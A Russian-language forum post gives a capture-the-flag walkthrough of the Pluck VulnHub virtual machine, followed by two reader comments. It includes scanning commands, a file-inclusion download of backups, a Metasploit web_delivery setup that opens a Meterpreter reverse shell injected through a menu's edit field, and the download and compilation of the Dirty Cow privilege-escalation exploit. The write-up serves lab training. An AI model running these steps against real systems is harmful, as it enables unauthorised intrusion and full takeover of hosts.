ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   CTF. Hack the Pluck VM. (https://forum.antichat.xyz/showthread.php?t=1619446)

Vander 13.04.2017 22:32

Привет! В этой статье речь пойдет о CTF - Capture the Flag — это хакерские соревнования. На форуме есть несколько статей подобной тематики, поэтому, я не буду заострять внимание на подробностях, а сразу перейду к делу. Сегодня в качестве уязвимой системы я буду использовать Pluck VM.

https://forum.antichat.xyz/attachmen...b6060e007e.png

Скачать уязвимую VM можно отсюда - https://download.vulnhub.com/pluck/

Монтируем образ в VM Ware и запускаем. Теперь необходимо выяснить адрес VM в нашей сети:

> netdiscover – r 172.16.0.1/16

https://forum.antichat.xyz/attachmen...c48b6bfcb8.png

Я выделил желтым ее адрес в моей локальной сети. Запустим сканирование портов:

> nmap –p- -A 172.16.0.163

https://forum.antichat.xyz/attachmen...5859a11329.png

На данном этапе сканирования, интерес представляет открытый 80 порт и запущенный на нем Apache, к нему присмотримся внимательней, с помощью nikto:

> nikto –hhttp://172.16.0.163

https://forum.antichat.xyz/attachmen...2626d471e0.png

Здесь внимание привлекает обнаруженная уязвимость, которая позволит просмотреть все файлы на сервере. Воспользуемся этим, поместим данную информацию в адресную строку браузера.

https://forum.antichat.xyz/attachmen...4f646e7ad3.png

Из всего, того, что мы здесь видим, нас больше всего интересует путь к файлу с бэкапом, его и подставим следующим в адресную строку:

https://forum.antichat.xyz/attachmen...ba9eebca14.png

Теперь мы знаем, где хранится архив с бэкапом, и можем его вытащить оттуда с помощью wget:

> wget http://172.16.0.163/index.php?page=/backups/backup.tar

https://forum.antichat.xyz/attachmen...87c88f2e16.png

Естественно следующим шагом будет распаковка архива:

> tar –xvf index.php\?page\=%2Fbackups%2Fbackup.tar

https://forum.antichat.xyz/attachmen...418328f80f.png

Распаковка прошла не совсем удачно, зато мы нашли папку /home и три папки пользователей.

https://forum.antichat.xyz/attachmen...b48da2fc71.png

Во всех папках пусто, кроме /paul, внутри находятся файлы со следующим содержимым:

https://forum.antichat.xyz/attachmen...cb4e5af774.png

Это не что иное, как файлы ключей ssh, перебирая по порядку, мне удалось залогиниться на сервере с помощью 4-го ключа:

https://forum.antichat.xyz/attachmen...1b1be3ae23.png

Встречает нас Pdmenu, для тех кто не в курсе, это такой способ разрешить незнакомому с консолью человеку выполнять какие либо действия на сервере, используя удобное меню, и не заморачиваясь с введением команд. Так оно выглядит:

https://forum.antichat.xyz/attachmen...ca5bf2bbd3.png

На мысль об уязвимости наталкивает пункт в меню – Edit File. Вероятно, с его помощью мы сможем выполнить произвольный код.

Для эксплуатации этой уязвимости будем использовать Web Delivery Exploit представленный в Metasploit Framework:

> msfconsole

> use exploit/multi/script/web_delivery

> set target 1

> set payload php/meterpreter/reverse_tcp

> set lhost 192.168.0.106

> set lport 4444

> set srvport 8081

> exploit

https://forum.antichat.xyz/attachmen...95b68e46a5.png

Выделенную строку копируем в поле изменения файла:

https://forum.antichat.xyz/attachmen...e76c219dfc.png

НО, перед началом строки ставим - ;

Затем жмем enter и выходим из vi, вернувшись на скрин с Metasploit, видим открытую сессию meterpreter:

https://forum.antichat.xyz/attachmen...08ce979629.png

Осмотримся в системе и откроем shell:

https://forum.antichat.xyz/attachmen...07434b1ea7.png

Для повышения привилегий в системе используем эксплоит Dirty Cow, скачиваем его через шелл на уязвимый хост:

> wgethttps://exploit-db.com/download/40616

https://forum.antichat.xyz/attachmen...d932bce847.png

Переименуем сохраненный файл 40616, к примеру, в shell.c и скомпилируем его в исполняемый файл с помощью компилятора gcc и опции –pthread:

> mv 40616 shell.c

> gcc shell.c –o cow –pthread

https://forum.antichat.xyz/attachmen...7f1d2e5bc7.png

Запускаем наш готовый файл:

> ./cow

Перейдем в каталог /root

> cd /root

> ls –a

И возьмем флаг:

> cat flag.txt

https://forum.antichat.xyz/attachmen...8187487d90.png

На этом прохождение Pluck VM закончено. Спасибо за внимание.

w3n0m41k 15.04.2017 12:38

плюсую за статью очень интересно и познавательно и описано довольно подробно и понятно молодец! Согласен с предыдущим коментом про nikto можноотдельно статью написать?)))))))

Vander 15.04.2017 19:04

Цитата:


Inject0r сказал(а):

обожаю такие статьи, давно не было, качаю виртуалку, буду пробовать
[doublepost=1492241308,1492240242][/doublepost]Vander, а можешь статью по nikto отдельную сделать, на что обращать внимание в выводе, какие уязвимости прога может обнаружить, типичные уязвимости в выводе nikto и их эксплуатация? Или может готовые статьи знаешь какие-нибудь? Даже банальнйы разбор каждой строчки вывода nikto из этой статьи уже был бы интересен


Я постараюсь написать про него на этих выходных.


Время: 12:51